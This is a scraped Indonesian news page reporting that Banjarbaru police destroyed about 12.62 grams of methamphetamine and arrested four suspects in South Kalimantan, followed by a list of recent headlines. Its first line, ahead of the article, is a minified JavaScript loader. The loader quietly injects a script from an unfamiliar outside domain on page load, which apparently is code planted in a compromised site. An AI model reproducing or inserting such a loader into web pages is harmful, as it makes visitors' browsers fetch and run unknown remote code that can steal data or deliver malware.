(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sabu 12,62 Gram Dimusnahkan, 4 Pelaku Ditangkap dari Banjarbaru, Banjar, dan Banjarmasin


BANJARBARU, Narkotika jenis sabu dengan berat kurang lebih 12,62 gram dimusnahkan Polres Banjarbaru, Jum’at (18/11) pagi. Barang bukti hasil tangkapan dari empat pelaku pengedar narkoba ini dimusnahkan dengan cara diblender lalu dilarutkan ke dalam cairan deterjen.

Kegiatan pemusnahan kristal haram ini, dipimpin langsung Wakapolres Banjarbaru Kompol Andik Eko Siswanto ini yang juga dihadiri Kepala BNN Banjarbaru AKBP Sugito dan Kasi Tipidum Kejari Banjarbaru Budi Mukhlis.

“Hari ini kita memusnahkan 24 paket sabu-sabu dengan berat kotor 12,62 gram. Dimana barang bukti ini didapat dari empat Tersangka pengedar dan pengguna Narkoba, yang sebelumnya sudah kami amankan,” ujar Kompol Andik Eko Siswanto.

Empat tersangka yang diamankan, merupakan hasil pengembangan oleh pihak kepolisian. Awalnya, petugas melakukan penangkapan terhadap Deddy Kurniawan, pada Senin (14/10) malam di Komplek Citra Palem Penna, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Banjarbaru.

Dari pengakuan Deddy, petugas lantas mendapatkam infromasi bahwa sabu tersebut didapat dari seorang perempuan bernama Winda yang tinggal di daerah kota Banjarmasin. Tidak ingin membuang-buang waktu, petugas kemudian meringkus Winda di Gang Bersama, Kelurahan Kelayan Teguh, Kecamatan Banjamasin Selatan.

Dua hari setelahnya, Polres Banjarbaru kembali melakukan penangkapan terhadap pelaku bernama Udin di Desa Tanipah RT 05 Kecamatan Aluh-aluh, Kabupaten Banjar. Lalu, penangkapan paling terbaru dilakukan pihak kepolisian pada Sabtu tanggal 2 Nopember 2019 sekitar pukul 02.00 Wita, yang mana pelaku bernama Samsuddin diringkus di Jalan Pemanjatan RT 007 RW 003, Kecamatan Gambut, Kabutepen Banjar.

“Dimusnahkannya barang bukti narkoba dari ke empat pelaku dalam rangka pelaksanaan pasal 91 ayat 2 UU No 35 tahun 2009. Agar barang bukti ini tidak disalahgunakan oleh pihak yang berkepentingan, dalam penanganan kasus ini,” pungkas Wakapolres Banjarbaru.

Menariknya, sebelum pemusnahan ini digelar. Keempat Tersangka Dedy Kurniawan warga Banjarbaru, Samsuddin warga Aluh-aluh Kabupaten Banjar, Winda warga Banjarmasin dan Udin warga Gambut mendapat ceramah agama, dari salah satu personel perwira senior di Polres Banjarbaru. (rico)

Reporter : Rico
Editor : Bie


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

2 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

4 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

6 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

14 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

15 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

16 jam ago

This website uses cookies.